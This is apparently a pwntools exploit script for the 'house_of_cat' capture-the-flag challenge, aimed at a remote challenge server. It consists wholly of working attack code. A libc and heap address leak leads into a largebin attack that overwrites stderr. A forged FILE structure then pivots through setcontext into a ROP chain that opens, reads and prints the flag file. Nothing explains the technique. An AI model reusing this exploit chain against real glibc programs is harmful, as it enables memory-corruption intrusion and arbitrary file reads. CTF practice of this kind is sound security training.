1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154
| from pwn import * from LibcSearcher import * from ctypes import * from struct import pack import numpy as np from math import log import warnings banary = "./house_of_cat" elf = ELF(banary) libc = ELF("./libc.so.6")
ip = 'node4.anna.nssctf.cn' port = 28554 local = 0 if local: io = process(banary) else: io = remote(ip, port) warnings.filterwarnings("ignore", category=BytesWarning) context(log_level = 'debug', os = 'linux', arch = 'amd64')
def debug(a=''): if a != '': gdb.attach(io, a) pause() else: gdb.attach(io) pause() def cal(x, y): return ((x - y) + 0x10000) % 0x10000
s = lambda data : io.send(data) sl = lambda data : io.sendline(data) sa = lambda text, data : io.sendafter(text, data) sla = lambda text, data : io.sendlineafter(text, data) r = lambda : io.recv() ru = lambda text : io.recvuntil(text) rl = lambda : io.recvline() uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00')) uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) iuu32 = lambda : int(io.recv(10),16) iuu64 = lambda : int(io.recv(6),16) uheap = lambda : u64(io.recv(6).ljust(8,b'\x00')) lg = lambda addr : log.info(addr) ia = lambda : io.interactive() lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin') def add(idx,size,content='aaa'): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:\n',str(idx)) sla('plz input your cat size:\n',str(size)) sa('plz input your content:\n',content) def free(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(2)) sla('plz input your cat idx:\n',str(idx)) def show(idx): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(3)) sla('plz input your cat idx:\n',str(idx)) def edit(idx,content): sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n', str(4)) sla('plz input your cat idx:\n',str(idx)) sa('plz input your content:\n', content)
add(0, 0x420) add(1, 0x430) add(2, 0x418) free(0) add(3, 0x440) show(0) ru(':\n') base = uu64() - 0x21a0d0 useless = io.recv(8+2) heapbase = uheap() - 0x290
pop_rsi = base + 0x2be51 pop_rdx_r12 = base + 0x11f497 pop_rdi = base + 0x2a3e5 pop_rax = base + 0x45eb0 stderr = base + libc.sym['stderr'] setcontext = base + libc.sym['setcontext'] + 61 write = base + libc.sym['write'] read = base + libc.sym['read'] close = base + libc.sym['close'] syscall_ret = base + 0x91396 ret = base + 0x29cd6
addr_IO = heapbase + 0xb00 fake = p64(0)*4 + p64(0)*2 fake += p64(1) + p64(2) fake += p64(addr_IO + 0xb0) fake += p64(setcontext) fake = fake.ljust(0x58, b'\x00') fake += p64(0) fake = fake.ljust(0x78, b'\x00') fake += p64(heapbase + 0x200) fake = fake.ljust(0x90, b'\x00') fake += p64(addr_IO + 0x30) fake = fake.ljust(0xB0, b'\x00') fake += p64(1) fake = fake.ljust(0xc8, b'\x00') fake += p64(base + 0x2160c0 + 0x10) fake += p64(0)*6 fake += p64(addr_IO + 0x40) flag = heapbase + 0x17d0 fake_pay = fake + p64(flag) + p64(0) + p64(0)*5 + p64(heapbase + 0x2050) + p64(ret) free(2) add(6, 0x418, fake_pay) free(6)
edit(0, p64(base + 0x21a0d0)*2 + p64(heapbase + 0x290) + p64(stderr - 0x20)) add(5, 0x440, 'aaaaa') add(7, 0x430, 'flag') add(8, 0x430)
payload = p64(pop_rdi) + p64(0) + p64(close) payload += p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret) payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(flag) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(read) payload += p64(pop_rdi) + p64(1) + p64(write) add(9, 0x430, payload) free(5) add(10, 0x450, p64(0)+p64(1)) free(8)
edit(5, p64(base + 0x21a0e0)*2 + p64(heapbase + 0x1370) + p64(heapbase + 0x28e0 - 0x20 + 3))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff') sla('plz input your cat choice:\n',str(1)) sla('plz input your cat idx:',str(11))
sla('plz input your cat size:',str(0x450))
p('stderr') p('addr_IO') p('heapbase') p('base')
ia()
|